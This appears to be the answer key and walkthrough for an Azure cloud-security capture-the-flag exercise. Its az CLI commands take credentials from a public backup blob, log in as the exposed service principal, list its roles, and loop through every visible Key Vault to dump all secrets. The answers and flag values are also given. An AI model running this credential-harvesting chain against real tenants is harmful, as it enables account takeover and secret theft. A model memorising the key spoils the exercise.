Detailed Solution:

In an Entra ID abuse path, a privileged user such as User Administrator may reset another user’s password. In logs, this appears as a user update operation involving the password profile.

Check audit logs in the portal:

Microsoft Entra ID → Monitoring → Audit logs

Or query via Microsoft Graph/Azure tooling depending on permissions.

The activity to look for is generally:

Update user

Modified property: passwordProfile

The other options represent different activities:

Microsoft.Authorization/roleAssignments/write = RBAC role assignment change

Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval

Microsoft.KeyVault/vaults/secrets/read = Key Vault secret read

Correct answer:

B. Update user / password profile modification

rg-prod-apps-eastus

Detailed Solution:

List accessible resource groups:

az group list --output table

For a cleaner search:

az group list \

--query " [?contains(name, ' prod ' )].{Name:name,Location:location} " \

--output table

Expected output:

Name Location

-------------------- ----------

rg-prod-apps-eastus eastus

The resource group containing prod is:

rg-prod-apps-eastus

================

Detailed Solution:

On an Azure VM with a system-assigned managed identity, run:

az login --identity

Then verify:

az account show

For a user-assigned managed identity, specify the client ID:

az login --identity --client-id < client-id >

Microsoft’s Azure CLI documentation confirms az login --identity for system-assigned managed identities and --client-id, --object-id, or --resource-id for user-assigned identities.

Correct answer:

B. az login --identity

================

The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== $kv ===== "

az keyvault secret list \

--vault-name " $kv " \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name < vault-name > \

--name < secret-name > \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== Vault: $kv ===== "

for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do

echo " ----- Secret: $sec ----- "

az keyvault secret show \

--vault-name " $kv " \

--name " $sec " \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

Detailed Solution:

Download the blob:

az storage blob download \

--account-name prodreportstore01 \

--container-name public-backups \

--name backup-config.json \

--file backup-config.json \

--auth-mode login

Read the file:

cat backup-config.json

Expected structure:

{

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" clientSecret " : " REDACTED "

}

The App Registration application/client ID is stored in:

clientId

================

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p ' < client-secret > ' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

Expected important field:

{

" user " : {

" name " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" type " : " servicePrincipal "

}

}

This confirms you are authenticated as the App Registration/service principal.

================

Detailed Solution:

Resolve the service principal object ID:

az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv

Then list role assignments:

SP_OBJECT_ID=$(az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv)

az role assignment list \

--assignee " $SP_OBJECT_ID " \

--all \

--output table

Expected output:

Principal Role Scope

------------------------------------ ----------- ----------------------------------------

< sp-object-id > Contributor /subscriptions/5d8e44ac-...

Correct answer:

B. Contributor

================

b72a4c19-92f6-47f3-b3dd-9db5a31831d1

Detailed Solution:

Run:

az webapp identity show \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Expected output:

{

" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" type " : " SystemAssigned "

}

The principalId is the service principal object ID of the managed identity.

Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

================